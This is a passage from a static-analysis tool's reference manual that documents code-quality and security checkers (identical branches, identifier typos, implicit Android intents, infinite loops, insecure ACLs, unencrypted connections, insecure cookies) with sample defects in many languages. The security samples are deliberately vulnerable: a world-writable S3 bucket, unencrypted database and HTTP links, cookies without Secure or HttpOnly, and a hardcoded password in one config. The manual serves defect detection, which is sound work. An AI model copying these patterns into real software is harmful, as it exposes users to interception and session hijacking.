`IDENTICAL_BRANCHES` detects conditional statements and expressions that execute identical code regardless of the condition. Such duplicate code implies that the condition is unnecessary (or several conditions could be combined) or that the code should not be identical (so might be a copy-paste error). The checker treats Ruby `case-when` statements as if they were sequences of `if-elsif` clauses.

Code detected by `IDENTICAL_BRANCHES` includes the following:

- Simple `if-then-else` statements with identical code in the `then` and `else` branches.

- Any `else-if` chains that have identical code in consecutive branches in the chain.
- Ternary expressions such as `cond?expr1:expr2` where `expr1` is identical to `expr2`.
- Any `switch` statements with identical code in different `case` statements.

Simple `if-then-else` statements and ternary expressions are enabled by default. Both `switch` statements and `else-if` chains are optional.

**Enabled by default:** `IDENTICAL_BRANCHES` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.171.2. Examples

This section provides one or more `IDENTICAL_BRANCHES` examples.

#### 4.171.2.1. C/C++, C#, Java, JavaScript, Swift, and TypeScript

The following example is a simple `if-else` statement with identical branches.

```
if (x==2) {
 y=32;
 z=y*2;
} else {
 y=32;
 z=y*2;
}
```

In the following example, the code in an `if-then` statement branch that ends with a `return` is identical to the code that comes after it. The code after the `if` statement can be considered an implicit `else`.

```
if (hasName(a)) {
 name = getName(a);
 return name;
}
name = getName(a);
return name;
```

#### 4.171.2.2. Visual Basic

The following examples contain a simple `If-Else` statement and ternary `If` expression where both branches are identical.

```
Class IdenticalBranches
 ' Defect: Both the "Then" and "Else" branches are identical.
 Function Example1(a As Integer, b As Integer, op As Char) As Integer
 If op = "+" Then
 Return a + b
```

```
 Else
 Return a + b
 End If
 End Function

 ' Defect: Again, both the "Then" and "Else" branches are identical.
 Function Example2(a As Integer, b As Integer, op As Char) As Integer
 Return If(op = "+"c, a + b, a + b)
 End Function
End Class
```

#### 4.171.2.3. Go

In the following example, the if statement results in a IDENTICAL\_BRANCHESdefect.

```
func judge(a int) bool {
 if a > 1 { // IDENTICAL_BRANCHES defect
 return true
 }
 return true
}
```

#### 4.171.2.4. PHP

```
<?php
function compute($a, $b, $op) {
 if ($op == '+') { // IDENTICAL_BRANCHES defect
 $result = $a + $b;
 } else {
 $result = $a + $b;
 }
 return $result;
}
?>
```

#### 4.171.2.5. Python

```
def compute(a, b, op):
 if (op == '+'): # IDENTICAL_BRANCHES defect
 result = a + b
 else:
 result = a + b
 return result
```

#### 4.171.2.6. Ruby

```
def compute(a, b, op)
 if op == '+' # IDENTICAL_BRANCHES defect
 a + b
 else
 a + b
 end
end
```

```
end
end
```

#### 4.171.2.7. Scala

```
def compute(a : Int, b : Int, op : Char) {
 if (op == '+') { // IDENTICAL_BRANCHES defect
 a + b
 } else {
 a + b
 }
}
```

#### 4.171.3. Options

This section describes one or more `IDENTICAL_BRANCHES` options.

You can set specific checker option values by passing them with `--checker-option` to the **coverity-analyze** command. For details, refer to the *Coverity Command Reference*.

- `IDENTICAL_BRANCHES:report_different_case_lines:<boolean>` - When this option is true, the checker will report switch case statements when one case has comments and the other does not, or if the statements use a different number of lines. If the option is false, the checker will not report such issues. Defaults to `IDENTICAL_BRANCHES:report_different_case_lines:false` for C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, PHP, Swift, Scala, and TypeScript only.

This option only takes effect when `report_switch_cases` is set to true.

- `IDENTICAL_BRANCHES:report_different_ifelse_lines:<boolean>` - When this option is true, the checker will report `if-else` branches when one branch has comments and the other does not, or in general, if the branches use a different number of lines. If the option is false, the checker will not report such issues. Defaults to `IDENTICAL_BRANCHES:report_different_ifelse_lines:false` (all languages).
- `IDENTICAL_BRANCHES:report_elseif_chains:<boolean>` - When this option is true, the checker will report `else-if` chains with identical branches. Defaults to `IDENTICAL_BRANCHES:report_elseif_chains:false` (all languages).

Example of an `else-if` chain with identical branches (applicable to C/C++, C#, Go, Java, JavaScript, Ruby, Swift, Scala, and TypeScript only):

```
if (param==42)
 x = 5;
else if (param==43)
 x = 5;
else x = 3;
```

- `IDENTICAL_BRANCHES:report_switch_cases:<boolean>` - When this option is true, the checker will report identical case statements in a `switch-case` structure. Defaults to

`IDENTICAL_BRANCHES:report_switch_cases:false` for C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, PHP, Swift, Scala, and TypeScript only.

C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Swift, Scala, TypeScript, and Visual Basic example that produces a defect when this option is true (and `switch_case_min_stmts` is set to 1 , for example):

```
switch (x) {
case 1:
 y=5; break;
case 2:
 y=2; break;
case 3:
 y=5; break;
default:
 y=2;
}
```

This option is dependent on the setting of `switch_case_min_stmts`.

- `IDENTICAL_BRANCHES:switch_case_min_stmts:<integer>` - This option specifies the minimum number of statements to report in switch case statements. Defaults to `IDENTICAL_BRANCHES:switch_case_min_stmts:3` for C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, PHP, Swift, Scala, and TypeScript only.

This option only takes effect when `report_switch_cases` is set to true.

#### 4.171.4. Events

This section describes one or more events produced by the `IDENTICAL_BRANCHES` checker.

- `else_branch` - Identifies an `else` branch in a simple `if-else` statement when the `if` and `else` are more than 5 lines apart and are associated with a defect.
- `else_if` - Identifies an `else-if` statement when it is more than 3 lines from a consecutive `else-if` statement, and the statements are associated with a defect.
- `identical_branches` - Identifies `if` statements (both simple ones and `else-if` chains) and ternary expressions that contain identical branches.
- `identical_cases` - Identifies a `case` that is identical to a previous `case` in the same `switch` statement.
- `original_case` - Identifies a a previous `case` that is identical to the reported `case` . This event is always reported, regardless of its size.

#### 4.172. IDENTIFIER\_TYPO

Quality Checker

### 4.172.1. Overview

**Supported Languages:** JavaScript, PHP, Python, Ruby, and TypeScript

`IDENTIFIER_TYPO` finds occurrences of identifiers that are suspiciously unique and suspiciously close in spelling to another identifier that is more common. Dynamic languages such as JavaScript, PHP, Python, Ruby, and TypeScript make heavy use of named entities that are resolved only at application run time, making such languages especially susceptible to typographical errors (typos) in identifiers. The effect of the defect is typically to reference an unset or undefined entity, which could have various impacts depending on the programming language and the context.

For this checker, identifiers can be names of properties or members, or simply strings that meet criteria for named entities in the program (for example, no spaces or operator characters). Local variable names, including some function names, are not checked by the checker.

The checker uses a number of techniques to reduce false positives, involving aspects such as the length of the identifier, where the identifier was allegedly edited, and the relationships among components of identifiers. For example, `getUserAddress` and `get_user_address` have three component names. Identifiers recognized as having only one component name, such as `getuseraddress`, are therefore more susceptible to false positives.

The checker is limited to misspellings with Latin characters. However, in the interest of internationalization, the checker does not use a dictionary. Some false positives are possible as a result, such as if `handleExit` is referenced only once in a program but `handleExist` is used many times.

**Enabled by default:** `IDENTIFIER_TYPO` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.



#### Note

Enablement exception for local analysis:

To enable this checker for local analysis with **cov-run-desktop**, you need to set the `--whole-program` command line option. The checker is not enabled by default for local analysis.

### 4.172.2. Defect Anatomy

An `IDENTIFIER_TYPO` defect is reported at the occurrence of the suspiciously unique identifier. Other events give example uses of the likely intended identifier.

### 4.172.3. Examples

This section provides one or more `IDENTIFIER_TYPO` examples.

#### 4.172.3.1. JavaScript

```
function getWorkingHeightPixels(obj) {
```

```
return obj.heightPixels -
 obj.topInset.heightPixels -
 obj.bottomInset.heightPixels; // Defect here.
}
```

#### 4.172.3.2. PHP

```
<?php
function getWorkingHeightPixels($obj) {
 return $obj->heightPixels -
 $obj->topInset->heightPixels -
 $obj->bottomInset->heightPixels; // Defect here.
}
?>
```

#### 4.172.3.3. Python

```
def resetEventHandlers(obj):
 obj.mouseMoveAction.eventHandler = None
 obj.mouseClickAction.eventHandler = None
 obj.keyboardAction.eventHandler = None # Defect here.
```

#### 4.172.3.4. Ruby

```
def resetEventHandlers(obj)
 obj.mouseMoveAction.eventHandler = nil
 obj.mouseClickAction.eventHandler = nil
 obj.keyboardAction.eventHandler = nil # Defect here.
end
```

### 4.173. IMPLICIT\_INTENT

Security Checker

#### 4.173.1. Overview

**Supported Languages:** Java, Kotlin

The `IMPLICIT_INTENT` checker reports a defect on code that uses an implicit Intent to start activities or to start, bind, or stop services. Using an `Intent` without a specific receiver component (an implicit intent) allows a malicious application to register to receive this `Intent` and see any information in it.

An Intent is a messaging object that is used to request an action from another application component. An Intent that explicitly specifies the component that should receive it is called an explicit Intent. The component that should receive the Intent can be specified directly when the Intent is constructed, or it can be set later by calling one of the following methods on the Intent: `setComponent`, `setClass`, or `setClassName`. An Intent that does not explicitly specify the component that should receive it is called an implicit Intent.

`IMPLICIT_INTENT` does not report a defect on code that uses an implicit Intent if the destination application component was restricted to components from the same application as the source component. Call the `setPackage` method on the Intent to restrict the destination application component to be from the same application as the source component.

- **Disabled by default:** `IMPLICIT_INTENT` is disabled by default for Java. To enable it, you can use the `--enable` option to the **cov-analyze** command.

**Android security checker enablement:** To enable `IMPLICIT_INTENT` along with other Java Android security checkers, use the `--android-security` option with the **cov-analyze** command.

- **Enabled by default:** `IMPLICIT_INTENT` is enabled by default for Kotlin.

### 4.173.2. Defect Anatomy

An `IMPLICIT_INTENT` defect shows an implicit Intent that is being used to start activities or to start, bind, or stop services. Additional events provide evidence for why the analysis considers that the Intent is implicit: a path from where the Intent is constructed as an implicit Intent and how the Intent flows through the program without restricting the component that should receive it.

### 4.173.3. Examples

This section provides one or more `IMPLICIT_INTENT` examples.

#### 4.173.3.1. Java

The following example creates an implicit intent ( `Intent` ), puts sensitive data in it ( `putExtra` ), and uses it to start another activity ( `startActivity` ). The sensitive data might be intercepted by a malicious application registered for `Intent.ACTION_SEND` action. This checker reports a defect at the `startActivity` call.

```
public class UseImplicitIntent extends Activity {

 // ...

 public void startSend(String sensitive_data) {
 Intent intent = new Intent(Intent.ACTION_SEND);
 intent.putExtra("data", sensitive_data);
 startActivity(intent); // Defect here.
 }
}
```

#### 4.173.3.2. Kotlin

The following example creates an implicit intent ( `Intent` ), puts sensitive data in it ( `putExtra` ), and uses it to start another activity ( `startActivity` ). The sensitive data might be intercepted by a malicious application registered for `Intent.ACTION_SEND` action. This checker reports a defect at the `startActivity` call.

```
class UseImplicitIntent : Activity() {
 fun startSend(sensitive_data : String) {
 Intent intent = new Intent(Intent.ACTION_SEND);
 intent.putExtra("data", sensitive_data);
 startActivity(intent);
 }
}
```

## 4.174. INCOMPATIBLE\_CAST

Quality Checker

### 4.174.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

`INCOMPATIBLE_CAST` finds many instances where an object in memory is accessed via a pointer cast to an incompatible type. Casting a pointer will not change memory layout so the defects reported by `INCOMPATIBLE_CAST` are potential out-of-bounds memory accesses or dependencies on byte order.

**Enabled by default:** `INCOMPATIBLE_CAST` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.174.2. Examples

This section provides one or more `INCOMPATIBLE_CAST` examples.

The following example shows a cast on which the `INCOMPATIBLE_CAST` checker will report. The defect is returned for the last line of the sample code:

```
void derefI(short *x) {
 short y = *x;
}

void foo(int x) {
 derefI(&x); // INCOMPATIBLE_CAST defect
}
```

### 4.174.3. Events

This section describes one or more events produced by the `INCOMPATIBLE_CAST` checker.

- `incompatible_cast` - A pointer is passed to a function which accepts a parameter of an incompatible type.

## 4.175. INFINITE\_LOOP

Quality, Security (Java) Checker

### 4.175.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, Objective-C, Objective-C++, VB.NET

`INFINITE_LOOP` finds many cases of loops that never terminate, usually resulting in a program hang. It does this by finding variables that appear in the conditions for continuing a loop. If these variables cannot be updated to falsify these conditions without an overflow or an underflow, the checker reports the loop as an infinite loop.

**C, C++, C#, Java, Objective-C, Objective-C++**

- **Enabled by default:** `INFINITE_LOOP` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.175.2. Examples

This section provides one or more `INFINITE_LOOP` examples.

#### 4.175.2.1. C/C++

Unless `x` is set to `55` before entering this loop, it will never terminate:

```
void foo(int x)
{
 int i=0;
 while (true) {
 if (i >= 10) {
 if (x == 55) { // x is never updated
 break;
 }
 }
 i++;
 }
}
```

In the next example, `c` is not properly updated. If its initial value is not `EOF` or `0x1c` (28), the program will always `continue` and thus never exit the loop:

```
int found = 0;
char c = foo();
while (c != EOF) {
 if (c == 0x1c) {
 found = 1;
 } else {
 if (found)
 return -1;
 else
 continue;
 }
 c = foo();
}
```

```
}

```

#### 4.175.2.2. C#

Some of the following C# examples identify situations that will trigger a `INFINITE_LOOP` defect, while others show situations that will not. Notice that `InfiniteLoop1()` contains a true infinite loop because `x` will not be incremented in the loop body and cannot reach `10`. In this case, the author probably intended to include an increment statement like the one in `LoopFinishes1`.

In `InfiniteLoop2()`, the loop variable `i` will have to underflow and count all the way down from the maximum integer value to reach `10` and exit the loop. Thus, even though this loop is really finite, the analysis reports it as an `INFINITE_LOOP` defect under the assumption that the author probably intended to write code more like that in `LoopFinishes2()`.

```
public interface DoesSomething {
 void DoSomething();
}
```

```
public class InfiniteLoopExamples {
 public void InfiniteLoop1(DoesSomething inst) {
 int x = 10;
 while(x > 0) { // An INFINITE_LOOP defect appears here.
 inst.DoSomething(); //Does not increment x.
 }
 }

 public void LoopFinishes1(DoesSomething inst) {
 int x = 10;
 while(x > 0) { //No INFINITE_LOOP defect.
 inst.DoSomething();
 x--;
 }
 }

 public void InfiniteLoop2(DoesSomething inst) {
 for(int i = 0; i < 10; i--) { //An INFINITE_LOOP defect appears here.
 inst.DoSomething();
 }
 }

 public void LoopFinishes2(DoesSomething inst) {
 for(int i = 0; i < 10; i++) { //No INFINITE_LOOP defect here.
 inst.DoSomething();
 }
 }
}
```

#### 4.175.2.3. Go

In the following example, the `for` statement results in an infinite loop.

```
func fn() {
```

```

n := 10
for n > 5 {
 n++
}
}

```

#### 4.175.2.4. VB.NET

In the following example, an `INFINITE_LOOP` defect is shown for the `while` loop.

```

Public Interface DoesSomething
 Sub DoSomething()
End Interface

Public Class InfiniteLoopExamples
 Public Sub InfiniteLoop(inst As DoesSomething)
 Dim x As Integer = 10
 While x > 0
 inst.DoSomething()
 End While
 End Sub
End Class

```

#### 4.175.3. Options

This section describes one or more `INFINITE_LOOP` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `INFINITE_LOOP:allow_asm:<boolean>` - If this option is enabled, the checker will ignore all assembly code. By default, the checker assumes that assembly code can be a loop control variable update statement. Defaults to `INFINITE_LOOP:allow_asm:false` (for C and C++ only).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `INFINITE_LOOP:allow_pointer_derefs:<boolean>` - option that allows detection of infinite loops involving C/C++ pointer dereferences or, for C#, Go, and Java, where the incorrectly-updated variable is a field of another variable. Defaults to `INFINITE_LOOP:allow_pointer_derefs:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

C/C++ Example:

If this option is set to `true`, the checker reports defects that updates the wrong loop control variable (`j` instead of `i`):

```

for (i = 0; i < p->x[0].hi * p->x[0].lo; j++) {

```

```
a += p->x[0].hi;
}
```

### C# Example:

The following defect is reported when this option is set to `true` but not when set to the default value, `false`:

```
class Foo
{
 public int a;
 static void Test(Foo pfoo)
 {
 while(pfoo.a == 1) //INFINITE_LOOP defect reported here
 {
 }
 }
}
```

- `INFINITE_LOOP:report_bound_type_mismatch:<boolean>` - This option reports potential infinite loops where the loop bound's type is wider than the loop counter's type. Using this option can lead to false positives where the loop bound's actual value is within the value range of the loop counter's type. Defaults to `INFINITE_LOOP:report_bound_type_mismatch:false` (all languages except Go).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `INFINITE_LOOP:report_no_escape:<boolean>` - This option reports loops that are infinite, because there is no non-constant condition that allows loop exits. An example of this is the `"while (true) process();"` loop. Such loops are used for software that never finishes, such as server software. This option defaults to `INFINITE_LOOP:report_no_escape:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `INFINITE_LOOP:suppress_in_macro:<boolean>` - When this option is set to `false`, the checker will report potential infinite loops where the control condition is within a macro. Defaults to `INFINITE_LOOP:suppress_in_macro:true` (for C and C++ only), which suppresses such reports.

This checker option is automatically set to `false` if the `--aggressiveness-level` option of **cov-analyze** is set to `high`.

### 4.175.4. Events

This section describes one or more events produced by the `INFINITE_LOOP` checker.

- `loop_top` - Beginning of loop.
- `loop_bottom` - End of loop.

- `loop_condition` - A condition that must evaluate to true for the loop to continue.
- `no_escape` - There are no escape conditions for the loop, and thus no way to exit.
- `non_progress_update` - The loop is infinite (a control variable is updated, but incorrectly).

## 4.176. INSECURE\_ACL

Security Checker

### 4.176.1. Overview

**Supported Languages:** JavaScript, TypeScript

The `INSECURE_ACL` fchecker flags situations where access control lists (ACLs) are set too permissively; for example, granting full control for cloud objects in AWS S3 or Google Cloud Storage.

The `INSECURE_ACL` checker is disabled by default. It is only enabled in `Audit` mode.

### 4.176.2. Examples

This section provides one or more `INSECURE_ACL` examples.

In the following example, an `INSECURE_ACL` defect is displayed for the property `ACL` set to `public-read-write` in the `createBucket()` function for an S3 bucket:

```
var AWS = require('aws-sdk');

var s3 = new AWS.S3({ apiVersion : '2006-03-01' });

s3.createBucket({
 Bucket: 'myBucket',
 Region: 'myRegion',
 ACL: 'public-read-write' // #defect#INSECURE_ACL
}, function (err, data) {});
 SAMPLE CODE GOES HERE
```

## 4.177. INSECURE\_COMMUNICATION

Security Checker

### 4.177.1. Overview

**Supported Languages:** C#, Java, JavaScript, Kotlin, Swift, TypeScript, Visual Basic

The `INSECURE_COMMUNICATION` checker finds cases using unencrypted network connections. Communicating over insecure channels might allow an attacker to intercept and modify transmissions.

The `INSECURE_COMMUNICATION` checker reports different categories of problems:

- Network APIs are instantiated using insecure HTTP, FTP, and WebSocket protocols/ports.
- Database Connection APIs are instantiated using insecure database connection strings.
- **[Java]** Insecure configuration from disabling the `--starttls` option in a `.roo` file.
- **[JavaScript]** `Socket.io` clients connecting to a server over a hardcoded insecure connection like `http://` or `ws://`. It does not take into account connections to `localhost`.

**Enabled by default:** The `INSECURE_COMMUNICATION` checker is enabled by default for Kotlin and Swift. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

**Disabled by default:** The `INSECURE_COMMUNICATION` checker is disabled by default for C#, Java, JavaScript, TypeScript and Visual Basic. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

- **Web application security checker enablement:** For C#, Java, JavaScript, TypeScript and Visual Basic to enable `INSECURE_COMMUNICATION` along with other Web application checkers, use the `--webapp-security` option.
- **Android security checker enablement:** For Java, to enable `INSECURE_COMMUNICATION` along with other Java Android security checkers, use the `--android-security` option with the `cov-analyze` command.

### 4.177.2. Defect Anatomy

An `INSECURE_COMMUNICATION` defect shows a call site or configuration location that initiates an insecure channel to send or receive data. Additional event data will demonstrate the detection of the insecure protocol or ports.

### 4.177.3. Examples

This section provides one or more `INSECURE_COMMUNICATION` examples.

#### 4.177.3.1. C#

This example creates an insecure `SqlServer` connection by passing a remote address in combination with an `"encrypt=false"` setting in creating a connection string, then using it to create a `SqlConnection` object. The defect will be reported on the creation of the `SqlConnection` object.

```
using System.Data.SqlClient;

class InsecureCommunications {
 public static void CreateCommand()
 {
```

```

string connectionString =
"jdbc:sqlserver://192.168.10.10:1433;" +
"databaseName=SynopsysDB;integratedSecurity=true;" +
"encrypt=false; trustServerCertificate=false;" +
"trustStore=storeName;" +
"hostNameInCertificate=hostName";
using (SqlConnection connection = new SqlConnection(
 connectionString))
{
 SqlCommand command = new SqlCommand("SELECT * FROM users", connection);
 command.Connection.Open();
 command.ExecuteNonQuery();
}
}
}

```

In this example an `INSECURE_COMMUNICATION` defect is displayed in the XML application configuration file that adds a connection string with the `SslMode` property set to `none` for a remote MySQL database connection.

```

<?xml version="1.0" encoding="utf-8"?>
<configuration>
 <connectionStrings>
 <add name="DefaultConnection" providerName="MySql.Data.MySqlClient"
 connectionString="Server=192.168.16.25;Port=3306;Database=staybazar;uid=ziac;
 pwd=Ziac1993$;SslMode=none" /> <!-- defect here -->
 </connectionStrings>
 </configuration>
}

```

#### 4.177.3.2. Java

This example creates an insecure HTTP connection by passing a hardcoded `http://` address in creating an URL object, then calling `openConnection()`. The defect will be reported on the `openConnection()`.

```

import java.net.HttpURLConnection;
import java.net.URL;
import java.net.Proxy;
import java.io.InputStream;
import java.io.BufferedInputStream;

class InsecureCommunications {

 void testOpenConnect() {
 URL url = new URL("http://www.android.com/");
 HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
 try {
 InputStream in = new BufferedInputStream(urlConnection.getInputStream());
 // ...
 } finally {
 urlConnection.disconnect();
 }
 }
}

```

```

 }
 }
}

```

In the following example, an `INSECURE_COMMUNICATION` defect is displayed when `--starttls` is set to `false` in a `.roo` file. The example first creates the Spring Boot application, then configures the project settings.

```

project setup --topLevelPackage roo.nw --projectName Northwind --java 8 --multimodule

settings add --name spring.roo.jpa.require.schema-object-name --value true

email sender setup --service service-impl::~CustomerServiceImpl --username USERNAME
--password PASSWORD --host HOST --port 1000 --protocol PROTOCOL --starttls false //
defect here

```

In the following `.properties` file, the `INSECURE_COMMUNICATION` defect is reported for three configuration strings:

- `sms-notification.rest.uri` - the connection is made to a remote IP over HTTP.
- `executor-monitor.ftp.uri` - the connection to a remote server is made over FTP.
- `coinbase.ws.url` - an unencrypted WebSocket connection is established to a remote server. The connections to localhost or over a secure channel (HTTPS, WSS) are not reported.

```

oauth.callback.url=http://127.0.0.1:8080/AdminEAP/oauth/%s/callback
sms-notification.rest.uri=http://104.211.214.143:8084/notifier/sms # defect here
audit.rest.uri=https://integ.mosip.io/auditmanager/v1.0/audits

executor-monitor.ftp.uri = ftp://server.costezki.ro:2221 # defect here

coinbase.ws.url = ws://ws-feed.pro.coinbase.com # defect here
bitmex.ws.url = wss://www.bitmex.com/realtime

```

#### 4.177.3.3. JavaScript

In the following example, an `INSECURE_COMMUNICATION` defect is displayed for a `Socket.io` client connecting to an unencrypted URL:

```

var io = require('socket.io-client');

var socket1 = io('http://example.com'); //defect#INSECURE_COMMUNICATION
socket1.on('connect', function(){});

```

#### 4.177.3.4. Kotlin

This example creates an insecure HTTP connection by passing a hardcoded `http://` address in creating an URL object, then calling `openConnection()`. The defect will be reported on the `openConnection()`.

```

import java.net.HttpURLConnection
import java.net.URL
import java.net.Proxy
import java.io.InputStream
import java.io.BufferedInputStream

class InsecureCommunications {
 fun testOpenConnect() {
 val url = URL("http://www.android.com/")
 val urlConnection = url.openConnection() as HttpURLConnection
 try {
 val input = BufferedInputStream(urlConnection.getInputStream())
 // ...
 } finally {
 urlConnection.disconnect()
 }
 }
}

```

#### 4.177.3.5. Swift

This example creates an insecure FTP connection using a IP Address bypassing ATS restrictions. Note that using an IP address does not activate ATS, so there's an insecure communication there.

```

func getConfigurationData() {
 let url = URL(string: "ftp://192.168.102.122")
 let session: URLSession = URLSession(configuration: .default)

 let task_handler = session.dataTask(with: url!, completionHandler: {(data,
response, error) -> Void in
 print("Processing Config Data...")
 })
}

```

#### 4.177.3.6. Visual Basic

This example creates an insecure SqlServer connection by passing a remote address in combination with an "encrypt=false" setting in creating a connection string, then using it to create a SqlConnection object. The defect will be reported on the creation of the SqlConnection object.

```

using System.Data.SqlClient;

imports System.Data.SqlClient

Class InsecureCommunications
 Public Shared Sub CreateCommand()
 Dim connectionString As String =
 "jdbc:sqlserver://192.168.10.10:1433;" +
 "databaseName=SynopsysDB;integratedSecurity=true;" +
 "encrypt=false; trustServerCertificate=false;" +

```

```
"trustStore=storeName;" +
"hostNameInCertificate=hostName"
Using connection As New SqlConnection(connectionString)
 Dim command As SqlCommand = New SqlCommand("SELECT * FROM users",
connection)
 command.Connection.Open()
 command.ExecuteNonQuery()
End Using
End Sub
End Class
```

## 4.178. INSECURE\_COOKIE

Security Audit Checker

### 4.178.1. Overview

**Supported Languages:** C#, Java, JavaScript, Python, Ruby, TypeScript

The `INSECURE_COOKIE` checker reports cases where the `Secure` attribute is not set for cookies that might be used in HTTPS sessions. (Setting the `Secure` attribute lets the client know that the cookie should not be sent over an unencrypted connection.)

Even when a cookie originates in an encrypted HTTPS session, it might be saved and resent by the client over a subsequent HTTP connection where it will be transmitted as cleartext. Depending on the purpose of the cookie, its contents could be intercepted and used to hijack a user's session or to leak other sensitive data. This is why setting the `Secure` attribute is important.

Additional information specific to the languages `INSECURE_COOKIE` supports is provided in the language-specific sections below.

**Disabled by default:** `INSECURE_COOKIE` is disabled by default. To enable it for Ruby, use the `--enable` option to the `cov-analyze` command. To enable it for C#, Java, JavaScript, Python and TypeScript, use the `enable-audit-mode` option.

**Security audit enablement:** To enable `INSECURE_COOKIE` along with other security audit features, use the `--enable-audit-mode` option. Enabling audit mode has other effects on checkers. For more information, see the description of the `cov-analyze` command in the *Coverity Command Reference*.

### 4.178.2. Defect Anatomy

An `INSECURE_COOKIE` defect shows that an HTTP cookie has been created and added to an HTTP response without setting its `Secure` attribute.

### 4.178.3. Examples

This section provides one or more `INSECURE_COOKIE` examples.

#### 4.178.3.1. C#

For C# code, the `INSECURE_COOKIE` checker reports an issue in the following situations:

- `INSECURE_COOKIE` reports when a .NET application creates a cookie without setting the `Secure` property to `true` in C# code, the default value is `false`.
- `INSECURE_COOKIE` reports when a .NET application creates a cookie without setting the `HttpOnly` property to `true` in C# code, the default value is `false`.
- `INSECURE_COOKIE` reports when the attribute `requireSSL` is explicitly set to `false` (or omitted, as the default value is `false`) in XML configuration files.
- `INSECURE_COOKIE` reports when the attribute `httpOnlyCookies` is explicitly set to `false` (or omitted, as the default value is `false`) in XML configuration files.
- `INSECURE_COOKIE` reports when the attribute `cookieSameSite` of a session or authentication cookie is explicitly set to `None` in XML configuration files.

In the following example, an `INSECURE_COOKIE` defect is displayed for the property `Secure` of an instance of the `HttpCookie` class set to `false`:

```
using System.Web;

class InsecureCookie {
 public static void func() {
 HttpCookie myCookie = new HttpCookie("Sensitive cookie");
 myCookie.HttpOnly = true;
 myCookie.Secure = false; //defect here
 }
}
```

In the following example, an `INSECURE_COOKIE` defect is displayed for the property `cookieSameSite` set to `None` for a session cookie in the `web.config` configuration file:

```
<?xml version="1.0" encoding="utf-8"?>
<configuration>
 <system.web>
 <httpCookies httpOnlyCookies="true" requireSSL="true" />
 <sessionState cookieSameSite="None" /> <!-- defect here -->
 </system.web>
</configuration>
```

#### 4.178.3.2. Java

The following code adds a cookie to track a session identifier, but it does not mark it as secure. The `INSECURE_COOKIE` checker would report this as a defect.

```
void addSessionToken(HttpServletRequest response, String id)
{
 Cookie c = new Cookie("SESSION_ID", id);
```

```
response.addCookie(c);
}
```

In the following example, an `INSECURE_COOKIE` defect is displayed for setting the `server.servlet.session.cookie.secure` to `false` in the Spring Boot configuration `.properties` file.

```
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=false #defect here
server.servlet.session.timeout=30m
```

In the following Spring Security configuration example, an `INSECURE_COOKIE` defect is displayed for setting the `secure` element to `false` in the `cookie-config` element.

```
<?xml version="1.0" encoding="UTF-8"?>
<web-app>
 <session-config>
 <session-timeout>1</session-timeout>
 <cookie-config>
 <http-only>true</http-only>
 <secure>false</secure> <!-- defect here -->
 </cookie-config>
 </session-config>
</web-app>
```

#### 4.178.3.3. JavaScript and TypeScript

For JavaScript and TypeScript code, the `INSECURE_COOKIE` checker flags the following situations :

- The properties `httpOnly` and `secure` of session cookies are not true. By default, the `httpOnly` is true while `secure` is false. The enabled `httpOnly` and `secure` flags prevent the cookies from being read by client-side JavaScript and from being sent over an insecure channel (i.e., HTTP), respectively.

This checker works for `express` applications using the `client-sessions` and `express-session` middleware and `hapi` applications.

- The property `domain` of session cookies is set to a broad domain. By default, the user agent will return the cookie only to the origin server. A child level `domain` property prevents the cookies from being accessed by untrusted domains.
- The property `path` of session cookies is set to a root path explicitly. The property `path` defaults to the current document location. A subdirectory `path` property prevents the cookies from being accessed by untrusted paths.

In the following example, two `INSECURE_COOKIE` defects are displayed for the properties `httpOnly` and `secure` set to `false` in the settings used in the `express-session` constructor:

```
var express = require('express');
var app = express();
```

```

var Sessions = require('express-session');
var config = require('config.json');
var secret = config.secret;

var opt = {
 secret: secret,
 resave: false,
 saveUninitialized: true,
 cookie: {
 httpOnly: false, // INSECURE_COOKIE defect
 secure: false // INSECURE_COOKIE defect
 }
};

//use express-session middleware
app.use(Sessions(opt));

```

#### 4.178.3.4. Python

For Django applications, `INSECURE_COOKIE` finds cases where `SESSION_COOKIE_SECURE`, `CSRF_COOKIE_SECURE` or `SESSION_COOKIE_HTTPONLY` is set to `False`. The enabling of `SESSION_COOKIE_SECURE` and `CSRF_COOKIE_SECURE` prevent the session cookies and the CSRF cookies, respectively, from being sent over an insecure network. The enabling of `SESSION_COOKIE_HTTPONLY` prevents the session cookie from being read by the client-side and stolen by executing a Cross-Site-Scripting (XSS) attack.

In the following example, the `INSECURE_COOKIE` defects are displayed for setting `SESSION_COOKIE_SECURE`, `CSRF_COOKIE_SECURE` and `SESSION_COOKIE_HTTPONLY` to `False` when the `django.contrib.sessions` is in the `INSTALLED_APPS` array.

```

INSTALLED_APPS = [
 'jet.dashboard',
 'jet',
 'django.contrib.admin',
 'django.contrib.auth',
 'django.contrib.contenttypes',
 'django.contrib.sessions',
 'django.contrib.messages',
 'django.contrib.staticfiles'
]

SESSION_COOKIE_SECURE = False #defect here
SESSION_COOKIE_HTTPONLY = False #defect here
CSRF_COOKIE_SECURE = False #defect here

```

#### 4.178.3.5. Ruby

For Ruby the checker reports an issue in the following situations:

